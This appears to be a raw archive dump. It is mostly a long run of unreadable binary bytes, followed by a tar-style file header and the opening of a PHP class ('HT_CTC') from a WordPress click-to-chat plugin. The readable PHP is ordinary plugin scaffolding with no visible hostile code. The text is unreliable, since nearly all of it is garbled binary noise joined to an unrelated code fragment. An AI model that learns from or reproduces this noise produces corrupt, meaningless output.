�^�±"!�g�@U/�Jf�?�{;��T�U�DU���.A��u��M���$�%G�u�/n�:�^u�E�LJ���>�!���fZ7a�b'�	�dg���(;;[c�N��=O��F������"??�0TEm0&��`��ђ@y���ڔ	�e��O�S2R����)��	9)�c?�_m���J�!��d0(���3}eYk6�x���\ˉ��9���Ch�,yU��ga�ő�Sؾ��M�.���q��`l$j���$�CV�գ[�I#�r�ϐ��I9�Q���=Dr�4Z���Tb��[�8)o�q?j���h��Q��Y�lj�Yձ�Q:c i�M�F�D��%��ɒ���o:K����{��FA�,���k���N
-��,����3e2lhK:ڜ���H�ـD�9�������q<Xm2<�U@7�11�m�ZV���ii]��9�R7a�ƦS�߶)n�ל�j�� /r�؈k(�>�a<A0�m吗Bҟ�0��Y��	�@���m+"����q$��!N뾓�*�X��fZk�#�\e-��Vs�X~�Xv���*kC��x7��+���Dʬ�G6y���*���
��MV>]����'�BD>H���5��8���z~���[
�%�r96J?O�9�F��֙W"�YT���?|�-�[����F�ϖ��1��C6���T����Ø�����4�
?W�.�{12ӿ��wXҭWro���d/�7�*[�û�
,�"a�
�Dw9pNn��tg�3p�����1;J��fq�WL[���苬���̹C�$7��XD�o�����;@���,'�u�arj����v�/�mo(*���B�f�e�}�r
p�� p����X�`+��om��_�`O9�V�V���1?)e�7�NA1�����r����|j�F\g�#:�ǃܟ_���x�ǀ�2ו���#��^;H%Fhj�h�2u{�̟t��������#���E"6 �J=b"Ī/A�����4�H��j8M�YY|�7
��N���wʕQ��Sw7%�kLP�J�]��-*�z^łn[���׎3�
YXs��^�.3��R�(�;���oD�5�A>9d�K2�R����$axs�Q<_�px����T.��da�����F���A�_�x�BfS��ޏF|큷�}��@��	)��@7)PD�J4�F�nP��C��$1'1�
Tf�\��s�h�!��׿C�A+���L:`��)剃�?ȿ<t��cK�î
-�
��;j��Cu(fߴ;(�8 8 ���c�Ć�e�1NT���{O�B�����u^�^��3��D�e�D�(�[�>�Z�(��;�@:����C��3l��P͹_�~B�J�pk����Wǹ_��w]�ɒ�����V�[�Q���L�`.��i^�M+��k�gh�> A��-��\��d
��>`���v콀z9�DKY����P�_�cgl�<��
�w	آl���KR�m�q#n.S��=��A�%�!��Q�!�7��ZY2��s��){�~7�:��w�j��iq��p|�q"�5Ґ\�	e	��t��1���ml_]~je�������f�e����~n`3lHNnjy�K����!?���"��ZXmu �w���1L�ѹ3U?�h������;��hdFT~P���$P���)����-pP�
`6�U��R莑XJ�J���ji�Z����_0��ќ��Ϙ��5g�U�)d���oo}�(ް��FT�~�e-�Hj�ܵ�z���7���w��y��;d�7��c�u����7�#�R?-���gR|yjTO��o��=�������i{������陔�����>ıc�3�$=$�X38Fctb��,u~����2��}�3��k��֓�'��lX߾�ޯ���_lW�T�oa�t��pB�
/��K���GT�c�����u&������4`E��ݼ�=�E,8ĉϠ�W6��ω/r��@w:�/�y���:3�U�0��%��o��G���7ojx�g��������񼝽]�U��o��s�h��V$���w�jP�f�]>~�ֺ~��?%Gr�[{��O�����:��dsHs�N�V��-N���0]���"�|�d��C¤t�]��c����7����;'[�]E%�^у�Wܛ����ݐ{��4T/�騁��V~Œ�<j����\P�h��o~�^��–edV^�Re~���vɱҰ�l G�'莏�&�@,�98=n�7����N����G}PcL�u�����xM�ȯ����C��
���)�eb|a�cI�;�X~���D��X��j�%BEF`}J��H^�v����JWTxQ_�Yl��gN�i��Z�i�E�$z�,8�6�b	�9�>��1�& P~�C����y��
k�)�C�l4e�( �RB�!���0BFt�K�F9�!���j,A[�լQ՗�8�k尿��c�W^]8�i�"S�e��y��r�n���w��َܵ{�<x�z�z�]r�s�{�b�'-�N�$�0�)��]6��.F��i�=���]DC7��@����~YR�:��w����C`�"
���_��)����)���"C�
���C���]�*
��iu��Kf*d�
⪤��"����ptt�����a�c���n�$q��ɏ��������9�+�:��k���0~�C)QGs�@� �8�Da�h�RBuO�D��(E�e�C�Wė#&^O��AࣴJu�~[�����0aĝHH;��͛W�at"��C�%|��M���Wn���P.x��o��qMg�;;0%
�Q�p ��;�i�j�9�+��`fhTN����]3I�m{����Ӷ����}�#z�L�x)�1����ּ�`,�C��Q�^qg`�v����q��5@H� @�,�u�ږ�Z>�~��l����j�6�\��!wPT2��AQ�8����c&tz4�D;��DL����!b%��·(.�3�& _�%rַ"X��l��r�GgAz���lH��8?;ƨ�e�V�S��$99e�R<�݂<���g�U
�����`�7oP�(>�Qb1�q��XȜr�L����qJ��D%'ק�[b*~�@�N&X�~(�;O��a���)�.�4�h�ߝ�"a�D�ٕ_��>}_�ߵ ��c�?VB
���YJڐGJ�fn��`ž���ArZ1�ט����"G��7��D���B�,�EBܡ�,5<����W
� h$V
�J�!7�s�Ϟ1.L��D^
�GV�/���q�21dOxೠ����{�^��0�N��-���7�hG���T̳����א�e]eg��H޶L{��1x�F�y	����R_���W�6ٗv{ێ�A�~|`���ZbNk�26���Ј��N_-��c5)�z�m�5�7��C��!n��� V�%� �v%˞�&e˜A�a�d��3W�(�}AfL8up%
�A�a�❶���a/ₐ��XS��m�Jv�y�w�dj�,�ȯ_���o�YY�f�dhE�Nj���ׂ�h�\�RIl��h�k7!;ʺkj��_�4���J=��,7���jp�j֞?���>y�:k�u 3E51�^���7V:˫� ��(���#������"?�U��c!���@���ϋ�����'A/�N���^��>b+�E�]�{�&��G���^"/þ;[��{6v�9r~Z%?��|�=��N1�(�E�}����
��=x�s0Bޠ|�rl~���t��,��u7x�H��t�~�J_-��?E�jG�j{ԟ<��{����n�~�"�i���K����{d1-�a�v��<��@�����L�f�m��*��4�п���#��,�a暛�y�<�(�a����e�P(YM�4Ў�a6��j�P�"q��-��k�|���&C��>�z}�	:��Ű���	�ؽA���;`���ث+��<��6�mj�V�p��
���
�%�)���a����OA>�:���)��a�od~ra_gA��H���d���Ƶ&Ѿ��� ƈ{78Y���q�s=���=?�5H��oH�����T�@<K],k�u֪��U��,�&��}���+�1䷒歅U��ŭ�ghQ
�ʹr.Q�/�P�Ey���.o߂x��w�9b/����L_�8_7�&I�R��n'�oi�W�,[9lM�<�ZGя+�7%�)��VF����?�N�������-���w��Q�aW4wg��=D���VNL�S�]�p�N�|ğ�YnP�h��=��
�sͫ�W�K,ًo��>`��k����h�vR��go_���;aX&�������`Z�N��I�;�y?�
^jH�3���	XnH�ĨF0���2,x��m�2�o��g,�k=��3�C��M����V$�Χ���Meht�0�Y�;U��)���,�e`�w�s�F'qaoa:�,y�_�<�d�
�F̎@�$��p�d��yV�� �4��bj�pl��k^�f��kU���˙��Q9
[5���o��	���O%�(v��h�k�'��c(���5T��=`�L��h츿�^�:Z��:��b�Ǵ�r,,l	�ea�]��1���x.(�5*�W���)Q���s��.H��l�{������B�֍=��Kz�p>�n|���^�(���;�t���r�5/r5R�Y*�<�+�Tx���U^n��d��3V�6/t�Z\-�5
H��hD��
�v���eK��1��=z��NY�0�3J��r,�N!#�4<z48S�u��D1��1<��&~P��ѣ,R8��_?X�O^��xys�=�2�2��%G蒌�ٸe��D���p^C�[HI���Y3�� )W=�lf�`"�Xn /�",�$�@���a����?��`2.�K�e�r��wGqp��H����l��_�T�Zm������W�
� [{��ǔ7�%)���9�/�~�I������'ƙ^T!1��3
�wZ!,��+���ags�:\_�p&ODefn���zc��}�����\ov�TA
�Ȭ�~��@�J�A-��/�<�H7�ב��܆�<#�
��7I�7�r���}�����uЦCS��at�V0,��|�&��Ҽӛ��Su,��3p�l.��]&9o"M�!wV��-M�k��o�R6�mE�2[�8������S}�O���������Jj����+���>/�F���Qd�����:�����S�h�%�e�?YP���jM�#�#��V��V�wەGۙ����0�IG/�殳X�*tr:��
�!��꺏evhe�>u����Y�^��L�Y1��dM�_�ڤ���%��BBV�b��e3��wXG�uk�2Y~d�a���P����Y�����y��7�����s�15~��O��^�9̺�|��ٷ��G䋳雍��<�’�#�̂��q[�byH�h�H�m�F;��HK���>7�����*7�֏%�'V�������
U��.�� ��2����iܞ��Jݫ�yAn��\��]�w��.�@� g9�GwMM(�g�S�41���r����GQM�׻-��\���z��gx4��^2<$�w��.���jP�SZu��k��-�s� c���uƆh�ֱt�w�5b���!x��(͐����L����3����<0g�Ќ[[|��: Cрh�ݘ(�I,�!sQ�-�#*݃�X�sڥʫU+�i�Y4ق�!�
��4����9O65&�~5�z��Z=��~ʯ��#�5-'�-Ȣ0ޡ_2�{��ܣ��̳�O	�=~.H�Ԙ�!ڒ���!���d�s��Z�$	[� l��ȲW�v�E-!�DTG,?$�b<37�@ּ��X�Ƽ_��DxB�P�}�Tԧ��F�/Q]U��E���/o�J�]�j3s�f�e�;˦o�g�.��Nld��^�k���s�A��6�F�*eE6�����oN�q�:�0z=
+o��s/��t��Ra��:"��Xӱ��=��E<m%��]�&��0"�p7񏝣�$�tפ֮��9��Ƕ�`dA�o3��3�g�5��`�ʂ~�C)�O�p����-�ʵ��.�P$�Fb�Ä8����1�D��x���x�����z�DL}����r?�kJ���k:�h��}�V�'�0�9�)��6$KSR�k$��6UǏ1��ViX.K?b"��D_�H�\[�x�.qRq��19/����Rl�}Vt-���'���x1HM�p�
a ���_~�Gl�GL��k����z��N���.�&O�`������%jV;�2
r��P����99
���Ё��di��̿"h;��\2%��w�F���."�=��%�%C��6
1���a�>��G��1h�)Al�\S�Ζ���ՙzk������r�|��lWo�	>�R�=9�Z艪��ē��f�yj(qٕ3�V0ć%�-��W`r����@ٕ]�tKk�ܷ�����pS)a�I�����|��gP^Vk\����IJtR�n�������[�O��i	�f�߳^��i��}��#9�c�L-�K4ddQ���1��;��o���3}��Q�(���J�m��t"nerֱo��1�Ljλ�y�\{J���Y4ֻ�d�����P9e=|ܺ��U唥y��5�9N��v�y��6ew���9����e������3�Df���ɥP����Ct�>o�g�Q��wZc�M$�7�E56�X�'���z/�����^)�r�p���Ki�+����!2E�x��P�0��!�B;�����qu`U-��&�o�X<1�/u��>J�
5&y�#��{�'��LX��fޖlWX��t�cx�����~������rܿ�_+���(����lw�sB�.�f�����ϳaD`y���.�]Ã*ڸw��F~��a�
L��"�32 ��.��wѴ�vTt��-���®{I��^b;lǏ"݅�4��;1����(N�k�tr�*���ɡ��)
%���c�EJ~G;�D*N��t%���
�g�Hv�
�=/ݝ� R����z/��Z���-�(VtN�ܳ��G�m|��`�uy�S�>u7��%��޳�ڱݙo��
���;�P�g�e�AI�h���K5�{
�Y�C��Rib�� )��*�j�	>ֻ���8)
��
�
�s�M�67��s�x�K8�ɍ礿���л�t �L����g���
&[�7����wz�;|�
l�J�wϓ�4]�%Ӥ^/S��.��X�Ga���.&)y�)Ĥ�U
|�z/11�+����^�d)���sf����Av�&�=žw��*�b�h)��X=��O�E���pHF�{I�j�1�0�ɻ�v�;)\�{A�2�9ObIo��S��t~�o���B#�B?Y�o3�����y�M5��|ޖw?�Nu���ew�X��<t�h���ţ������:�^zb\_Yn���r����R��B��>ƨ�
���p#��m"�V�|�X}X�f�|�����ue��2d�H��n�1�����^��5��:�I���%�r7%�{�ӡ�$L���K��jr�z/YZD�-H5�����c�W����Y	��i	�}��%��)��h4�;B^w����)ͧ�t>���b��<�ҍ�@�P���H���E���5���4\Ń����q:���{I��q56��Me��❨e�� ��bt��Ԃ#��=R[�wAV�0���S`��Kbw毴�7_�%��KW�q�>�BH�
`�>ܱ���(z��1ݴޫ�h�5���G�'��1�d�y2`/E��5yT��k��o�<s�A�Sv��O���h��>����!��a1������e�#1�Cb1.<�73�0���ŴLDY�$L
��1�O�|��K��S�e��w��􎖟f1��KT�,������t���B7��i�3�5��q�¡|%//��00�S���YI��{�:r{G���5~���ľO[}������ ��B�GEw��@����ma�m@y�p�Q!��[���%�'er�u�ghb��=�D^�0��
���xӊ<b��iصen�۠�qn�8���G�����y�Z�˂̱������{��G���)����.W�h��:�xќ4���޽�9@@Z� �����&��@�&��E0�iX(_B�:��y�A�?|�����QzN����q6�Ʃ�`T䤅B�h���#|=�6�?�&�#�a݋�e�cN��uG���ul6�Xaj������P{��7�,o���
�_��]T��j�^螼��C{��^T��{	�_���L��5d	���bp�F
���Mo<3���)<kNJ�P���O]�t������=iK�K�ih�+j`�[��������w��a\�uI��{�v�����[�{r^���b?�_��p��U0�v���/�{	�4�	6e����|/��9�)�mf���8|��l�nKN&��<f�� :��Z����:�j�c���
׏*���h��,����o<�s���哳�8��j�6��E��[��t��,p�;��뽤e�T�*I2+��h��I?�a	~�B:VJ>�"��y���#�w�T�&u���Zĵ�o���z�T�t�gӅ�t�-�DC�K�T��Y	E���N��>nv�ۚ�r�0���JY�b�6��E�S��z���ӞAT��vH8=�����s���q�r�/%'�j�-�o;1��UÍ��Ҏ�z/a�~Շ]���ˊ���t�����G��?̎��
[�#}qT��6��Dsz�!<�Kx���}��(�~�v@NM��W�f]�{b_�9��rG��n��Ň���^����=�$I�1`�vP�0/���7z�7?e�����"�{zIɨy��;u{�]A
U&�ap���iB�c��y���0���r�O~X�&�b&".p��N:�c|J�=,XR�Z��R0����H]6�Y�Ҕ�_�d�v_]q�]}�����haD̺���;-I�.���ޟ*礪eq��aUP��k��]̱�'�<�bm��nO�0�Gxl;>��BΚ�I,H��A�-�:�n�m����7bв���e�jJEj�$��74U=}*RS�mae�DC�����%t�K�]I=��?~���r��ofA���u5Ǵã~�l�'oʏ0z��I�^	�R04�*{������p-ei��'��9/t���ֵǧ{��e>i�'s�v��6'�JZQ!z'�B[�?^��,2��P뗶�x�͡��KZ�H�Gc���n���M�ݚ�oS�z��z/���\���:�OdІm��!u�ǽ��0b`���>ȸk=7��C���z�|o�{�4��[�6[lׁO�����w�h�V�s&o\&��t<���X�{|���p�q(mcz�=@�`���#2�1�p�,��i���tMsj�H�M�����'�KC�X8\�V7���9+Ic�}��ߥ_y�i�l�]"��Y!��[�]��i�b��q�/�υ�@H0����@�k�z�oY|R��\#�\���3r0 $��5�>�`�_�2\�>�	3l ���}2O�j'���N�h�Б���v���6���q�nk�eB�&,��R����ԡ��H�v��T��G�+Gu�G47_$+���^�T�$v�F�����1�����{VS��NbSK4Ak$}�H欪�]-�J���N�&��m�y��A4:'�?A��;����y��;gٕ��Q�{���jb�����|���>W8����XA_晾�35��5{�	��@‘:�h��\�\~�Y���ђY�@�^�YTQ\ȕi�10��!�G+�<gB�1S�=_L?�W?��3���O;z!�L�2*m�i���w~�-
�;�e!���1��?q�
5�8��>�s`�%;V1��'Ҩnw+f���2�@����8q&D!T�V�H���Bq��|�&�W�3�{�\0��N��AX�2G�s��?/�p�8�k�Uٴ��47�nU�e�o�|�8�}�J����3H�|��&^I��q��wX*ec�fކoi���;u�`����2��?'�Ho�)��q~R�z��Wv�nਫ਼s�P'[��
l���^%�;N?0�~�O��W��ji�j��{��Z��{����{�u�<FSt�!/��@��]䇙��Ol�v��ctEʼnBW���h�u1k�o5���Ltp�:�޳�����qBN괴4����R�4���1fr�b�k�)�GF��򐾒[���m��N �����[[�[+��u.�ͧ~�M:�F����\p\�<��ȳ�,��J|`
9([�J򔺆�H�1\ۈ��RL�K��Ad#��Jgg9κFB�����_|����A�rS�N|���1�D��o��}��lKwwϔ6����n�ɦ6d��c����WW"�p�g^q�����E�}߹�UD���#��R���6v�U/w�]�18�Y�]*�`4�v����n|��T�R����K
�g�K��d+���	�_Pw�|��!ú�I����R�.qG稒n��e���eT�IO9f\��a�P���hר}\�pހ���x�pT5mz�7�x�	3w�x�u��s��⢀�;'�oD���L��r����f�!Ӫ�^Jb���u2�퍇�L~M���l��-N��g'��ccl��o��\���iQ&��^�-=�])T�O�:���[�RJL�"n��sϾ�w�&1��?�R�W9��$���O�H$��z{��A<���!\�����%͊L9�p������%Wg�����[�Z~TN�\�,�*���7-���ǰ)j����]��=��[��)�G�mx�;*َX���l��g<S9<���s�T�6�?/A�?<�r87�ʃ�G;�v�f�@&�Q�x���Ä?�ۏ}	�ݴ2�I�2Ycz����d����e]��8q�h��	�������
�6�N�$I:�/�� ��@�"��C�"t�F�r��*��Y�#�P�3S��+
-��;
ãQܼS�=�K�yR-�!�'���?�8K�Rԫ���,zi�ޣX�b���c��y��x�L�W�¢�?޶o�����m������00��w;�N�?�Y�yj۳�z�_nxwrFʓ���~�*DQ�m���ݿ4Lt���˟.�]�q
���|ɣ�=�!pN�ᲆ��9V��W� �r����INWf�IIcx;����8v��������H��g���d��%ޣ-g!=߷��s�o��US\X5#Ќ$6@��IP����f�q�E��^�z��9�1������"(�k�|�?�E[_���;�[X���/��.&�|�oC%\�x
�*��lU��g�ϰ��+�;�����4��]�#�#LV+��jt���Q�P����/4��F�UR�' ��L��T�:gM��Ъ6�@_�L��]]�;�^\k�²Nj��-KxJ~Xr^H\NֶQt�G`	�M��:�S�\*�;�E���6��k�����5V3V}k�ZG�.���ѡ����h���j-��9�ة��C7}�~�y�\ܴl�ך�Qzl��S+˸��Y���j&y�g����j��Z�oE�2��ta��x���KB���{�ɢ7��?!����?yB�E�op�i�ϟ'F�c�h��U�;�0%0G����M�L|�A���5<�_����{����#�ȅz�j=Ά`��
gW�ؕ�2���<rk���L�֙�UwHI]���6Z�$fnn	V�tss��Ĭ�rڊ��L�B�&h���Ȟ+[�u��?6�(W�C3h�ެ�~m����'�̊�����ˡ��*��ϰ�
�����+��K�A���6i.΂}q����s'��_G�Cc�Sc�A�C���'�g�]1\���9ߚ�h�R���z-�JhJ��*��ZP�^����#U���6���l�9��:-�.�`����r'-�����3˥"�!k"��
1FE�2����c�0���������Bjm]�I_��X��P����o��p�)��)���x��Y�i<{�o����*]�gݹ�Ҕ�SW�x&JW�?�
	��g�k-�8&��1�jCk,6݌�B%��w���j@[j���Wki�Yۧ���K�N#z�(��)s#������=���E�>N:v�K��ɷ�cC�0��O�C, |
WW�K��$�6Y�Q�yF�{�A��������'V��|~��r;�U��#��q���rLr�V���Q������CFf3��?O4N1�]SDd��ҿ�S^���ʽ��o��j~p��-˲q�=��'�&L��#|#��걾����xbT��B����<��E]�4
b_"�Ta��e�`�Ō2��I��1j䋺�Å<�,v����"�99w����<D�w����x�m��3��eʙc�&�T��m��Y:�f��G�;�r�w�}�Dr�Byh��9�y�i�J��+�/	Rg$(ѷ\Α�_ڕ�	3��*WT�D:���!5W���}&�x���
��T?�i��gj���ί|�<{�c�C&�ܦ}݆�"�kc��Џ����l鏞m+�Sꚶ�9=�'f��ԥ/hҏY�<��\6_�b*bq�S:���s�SF�YK���=a&�eq��Z:]�[����x�eAiIS��E棭�ϖ���i�*v/�^ᘁ�:Ra�!��*��O��.Y�*VJ���u}E��,n��2���"M�0l�:�3�X�s��	��G�No�zO�
F�y���޸_�{!�����h�8i��禹�3������DZX���'	��B)%��0���C��없>�C�
��K����3�ε�:�L�����Rӏ�I�.��u��QěT}l�M��A=1!��|?Ԙp�<b�<��a1M����'��T�FD�<1��3��R�wy�2׹�����{� ,��Yc�4����?���'��wt�8�q�g��U��*��
Я���U�:#Lq��?���������0ڼr���u�F[\�����D�w��a��p��~�j��qy)�³#�
�'5k|���'Cbn�gl��b��EaK����|��Pɕ��+Kni;ִ��?���%��;�Z
��2���Y{^$� �^���{��u�S2�,2@�A.
����'e���<��bVB(�,_/T��0�^�n�0Z_ɝ}:�
I[�������k%�#8K����P!�_޾��х]�3��9nw�o�g2lw�Lm;��][��X����J�Z�3�u�w9��،��0��v��@�(խ��&�q��Z*������\m�ߗ?��:�>�Nm��"��_�H�߫����~�Ej����謁)�
���3� ���}�x	�]פ��U�m�>Lven��ވvS���v�r�}ʂ��E{f*��Vh_'߾C�H9���;̧���FU~8�Y?Ɯﭟ�}�CD�r>�¿q~�c��p��lgs}��u����*@{�g,���@���(����X��^.�o�ȇ�礔�|�zA
;����;� �y�^��:�4!B?��}̇/�Ļ�\�p/<�2�8�9���XS֙�;��vL%�Mt�4�-�G�Mcb�[M� n�E�0H�Ї�Jno&�u�ӧ���������3���r/�Ket�N/����1ƒ�/��2��ϼ���Fͼ��qq�����W�N@x�X�A;����H�=�;���aF���VU�G�.���=#Z��Tl�Ϭ��8��-��Y�N蟡}WA���)���-t��1��v��>����Z�UI;����.��9}5<Kã!���w���ǐ���ަaO��TyE�0N٦)�sGs��j���i���kP�	DMD�Q��`I�V����� 7a7��L�$L�\�{ԹB�%����3��ai}O�?!�{������;���gH}񩮛o�X_:G*��N�����q�WP��_����
n�����m�ʓ�^ʳ'���%�z�fh��i�?�i�N_�y1p��)gs$��ld���kg��3;�V[Ò�Y��E��l��?�����*UR?Բ���)k>أ�h��oee|H�!6Q~e�_vc����1拞�9l�gT貝�u^b��v��=��~v�"�g�n%g}�	�Խ[F'v|����
��Z
�:\zpQ)�v�Z=�xPeD�t������EI�Hn�ՄZiHj��
	�nw+\5�`H3x|���Hb�3�����ޕ�f9���t���c���;�q$1��|�n�텟��u��~DL��-����0���vn�ġ�-&�eN��`�o�L=`O$V����qK��40vs�W\�"����u0e �t��g8�T�I�~�g�^dw��`�HҰ��Y^�BE�je>=�����}+��ltDO����E��}�ͥF��i��-ewY��]��iA�uA�8�YV[&�i3o~]5�О�{iM鲚��e�Q��KN�%ȏ�0q#����]�������W��"�Wغ�WJ}�I�0�k�%<���w41����[����{�O\�F?�9띻�����?4?����<�|>��l�P��{��B�f��"��,������pU��r�Q�5x��ٟ���"�����-�qS!]%]�0��.���q95����Hy6�J�D+w7W���m�y�B�<�{�k�$���������S��:� �Ӏ��Nz��7ȳ��|���70�T�3pS�;�i��t�c|�[�rV����u�C��e(��`�o�
��2l�}�ۍ��8l���V�睄��A#��������U��C�����?��'�%p|�b�"'(��Y���D�bx�g��\U���`Y�sy�[�,�`�*��YV�GVa~z;�4�߀�Y7���a��9��EM��
��/�5�h�+2���H_-����}�A�-7������^��Z@f�T��L�T�E+7U��j�qM�G��������y�����[��]����PB\�W�%�rK���[��D?���>Y�^ʷ��A��ԃ���������pNfE��
����'e�qK�]�M��[��v�\L��pp�rb�;s�	f��^su��7��}��g��ݤ�[:������Nꟿ-�ㅝ%����v��T7����mV�e��#v�
�Q�y���3o��R�ޒ����hU�3-�G	ޔy�y�����%���+�]	&�]��b2�ry�h����1D�d2l�*L�O��$��j����֠�g]��uuw
�s�rV���[R�o�aiU�F�$���-G�]��T�ҹ7�?e�ٞoP��s�sϿs6�������
�}k��g�itO?;����pE�&7���<�%�8���j/T�:��<�?q��]솎ϸ�%d�IiN�8G�2ץ��Qh��I?�v��dމ�+{��LL���'��ť�4����Yp��%;pIvV�󐉼~����X&9Ѐ�.��h�_f֌��vO�V��>��f5ҕ=�d�̑@��}����y�'���M���>�0�r~�����CL�]���#
�����Y��5B]�A�u�|��*�M�u�n�*����%_Kȑ�\���g�O��e�~���}r`��?�v�`G�a�O9��TO��?`�jaֳ�	0^�y�
�OK��bրt���Wa�"fe���Y�k��S5�@��,���*ja���ZFf��S&gK�ל�q�3���l��(�7fF�9cV���6��'�j�f�yc��mO���{�̑@�Ī�
))<�8��=E��|Wm�(���P��3�\�|;:��j�E��Ϝw#��/N�C]!^��67��s�v�<;:[�0�d����n��&���ނvU�5�8�<��}ܡ��oxUVƇ�����`%�"�@��r���?����'�W4p�ԫll�I�u��ns�$�L�/�!FFT�����l�����Z<p��/'o�����wb���~�|'F�Q�[q1�& ��?Y5�|�y��8"y��j�qk��2�w��-�(��=��i��!���ny����r~o
�YT=�}��;�.�K$�4|�\��*��Ro4���$�gdY��S�~�UR��B�֩Tj7B�]�q��E4`�HpA�@��t������4��I�j��m\�ݡ��R쐷�$<4�I��Mc��Q��!�1 Ma>D6qD�]�f�K��8u�B��~�7h�c���|
3"�nA���6�П��V��n��p;��v��k�#��!�>��"5�>��i�F�F�n���J�a�.KTu��@�.~���nE��Hd� ����8�����[A�wb�oF��{���˅��YNV�ֶ�f�zU�/8c�� �������N^��hQLM~܉|�?kO�Ǧ��1+&�v�9Ll��v���1oU�^��[���w$�cb�O��HH�4���5%}Y�d���R�TR��F$؆b�fk"��2�6��������[��_���P�8������W�"�ِ6e_�k˟y���{Q���A���6fYoc��x��wb�B���H��@�<��b������\7x���"�g�~X�R���l�/�Wn��l��>�X�Pq�L�g�sNiqi��ap��������z�e#������R ��
vOU�E����L�k�ص��I^��`P'�;��~�G����
�I���2�uյ�W�H&cy/Jw�U,��]	ɟA��\�4�{�7d��-������ �&Ú��[Ye&��D��g(�0�Ъp���o��?}�+gu�Y�O��'��'���V��Ob~BF�s�u����
	.(�=�F�
���^3����Z�_?ۙ�h���ۏ.oxl���,��
�2���B��Q��Z
z�c�����-�ޠH���p��g�v:;�����{�arS�3��E�J�-��1�7�07ulU�Y�SS<�
��D��,�N��>��,1�
��ܠ�[���_'��Ѽ](��`�o_J��1��h�J��/���Do�m��J$RS�I��ފ��ހ�QC	-�9���," ]PsX�.lf��)�J�Z���!IR�d/�j�r�,����z{�!FX�e*�֔��m>)�?ܢ�e��b
ʙ#���	�LːΕ+J�0���~o0o �1�B����
�Hj�ۿ��.B��Z��&�O
c���|��t1צ�g�Y����:D�2k����q���?X��Ȏ�����
��]��yo������H'8���	;<����F�Q��{�Qa�߾���A�gJ�������V�LY�,ӧ�y4�w%����(6�(.�%��O��9� H�{�o�h���.j��8"y�+��������÷ �&��́�%}.D���|�T��gP�_�Ns��)��f�g�F�Jm��$��h����Zl�����X����g���'y�U�V��l�W���z
c��7�X��C��{�F�/A�V��љ-Y��w	7��G���uu�C�{�^�&=�5?�}HG�B�D��7h���U�K�-�Ie����O̘{�Rx�n�F|=ҡJX�>0�%�S+/��1א�;�, �����L��8@.a�	�r��	cpO����,��s&N��/(`��4��
�gr.�e(�U���ۦ03���>��5�����SI*v/�s�Q�
���~o ���4����J�4�ۀͬ�3��ފ��x�BÀt�H�WU��9��XS�AT#Z�$k����Y ��Z.���s���Z�g^�͊5uûq��A�YD���
�.S��rnc����o�mn�T�$�9����Z��tnsh�C�}�����㋍;�a(��!��jZ��n�����}����_��,�\�r��]�9�w�ޔy��v�����T+�Co�z]8�yG�*��4�8�w�ZW#V�g��<C���*�5��H�N5�_��eyy9_����Ey��
�>}m[��s�����9_���F��.��N��7���f���8��j��'���T�����f���y��5�*j����1��	�6�w��� &-�?g�����z�U�˔�.��n��CZ��ʑo^5#�c�R��s�z@ɇR�+�	0k�	�ޒ�Q�#c=�,-�kY�!&kl`��{i����P�r�3a
�_0�~?����!=2zp�;��0����VJ�8���c�i�0����u��^���e���Ty�
K��pΤ�^�ڳ8j^��s�1s$�UP�RRx,u�ޛ9@^�C.69pD�sk��j��3)��C��y��+��Q�C�0�Qv9���2�e�2�.QN�0k�D!�����Lv��݋��雀v?|{���`�=������y#�ϑ��C�N}���i�~?��l�[��q��a�n�wͨZ$yfq1����~�"c|A�)��L�O�+���&+,S�h�o��	0΅�\�/�ם�;�5�D�zh���)��R������F��Z�2g�u�޳�9š
������wt�;�Ԯ�N��O�#�qd�a�_W�����H3/���<G�Cp��SׁOf�;~��k*��Ҷ�ō��t���C�4,��M�:�Y��4��'!	��@HC��9T�����>dq�O.�2�9Q|��ڷ���^��̚�:��e�����}��~?D̕�W�{�s�s��Еiڢtـ�L�_I�&O�sw-k���C���t�������~h"�8&U,��}T��7K��=`N@7'�F>�;, UW�5A�`�)-.-�}�VL�˰�t����!��[@�cΡ���˨f�ͧ���?w�E(�z��y��U�uG���>@������0z���?Ç��(���yN�x��I?��Bn��["6�b��t*s�~J��GhX��W[�ou�|a��S���"I�+�k�U��q���ͦ�V	���}��.��K�n�3�˚N�Y�)�����{@p䙡r�Z[>N��A��8c���(�`�1ex�҆Y���:El�u��D7_��3��J��[�i��$����=���=��;�M�6����-���H�v8��1q#��${݉o�ɦ�f��mzU�Z\������⑜�b���#����B��!�*�������E�{@ƀ�{@���P�{��f����f��c�E��������������͐���~ȵ=�9j�v��\��O�?�<�e�����%�mp
,���~�3�F]@F:�h�6͑W�V��hc*o�1Z�� �5��9��!U�Q�B�\"�� ?�à���B3���&�7��>������o���Э���_�2��c~p^!�<Ƶeq��=�M�a�r숯�Gt3ޕ�Ng�g�[fr�z�t��E�
MD���Vԏ5@�"*2���Ri��M�9��5z�0s_���y����>�q��>�b�"?W��~(���j�s�J�4	fغ�뜞����[�R�3/ׅK�-?�����"�:-�#�*a��]����[@���{�g�7��v=�9�ť��a41���.W�A���	�!�Yr�X�"�R��Nͷ׶����I99|�K��r�c�;_����6��ztr��D~�����s�]�r��iM�at>�~�J��Z6s�s-U�Xm�����:���,�'t�o���+�����^Q5�z��6N��:8���e�����Z7�[�:���-�%r�������9G9�!���xq��|�D�S��L�)Qp�k�V�8E��d��rc9��X�jT���
N
�}��AM�2��6����\�ի,��fH��7�\TF��RN�ܖ{���,�Y1��޼y�&wC�������DC�����Xbg+����ɍ��-\vl����y����i�}~�������UP;�k�̒~�ߒ��`��%��I���.� ��D@D}P.L�8Y�je~�֍��*��y��q$/T%I�%ȏ�4(����aڜn�%�q�q��9|]]�
,�2�Π��-xf.%��}�>́q��7�O�G4N�'��}�#�]-�kFvN��7��i(7�7!�tBZ<����8vk4JC��Y�V��̪�Ϯ�u���Q�{�?��g��h3�U��vTF�TR�ɓ�
�}�`��K	Х���~߫_click-to-chat-for-whatsapp/new/class-ht-ctc.php000064400000010172147510273110015370 0ustar00<?php
/**
 * new interface starter .. 
 * 
 * Include files - admin - front end 
 * add hooks
 * 
 * @package CTC
 * @since 2.0
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC' ) ) :

class HT_CTC {

    /**
     * singleton instance
     *
     * @var HT_CTC 
     */
    private static $instance = null;
    
    /**
     * wp_is_mobile - if true then yes, else no
     *
     * @var if mobile, tab .. then yes, else no
     */
    public $device_type;

    /**
     * instance of HT_CTC_Values
     * 
     * database values , .. . options .. 
     *
     * @var HT_CTC_Values
     */
    public $values = null;

    /**
     * main instance - HT_CTC
     *
     * @return HT_CTC instance
     * @since 1.0
     */
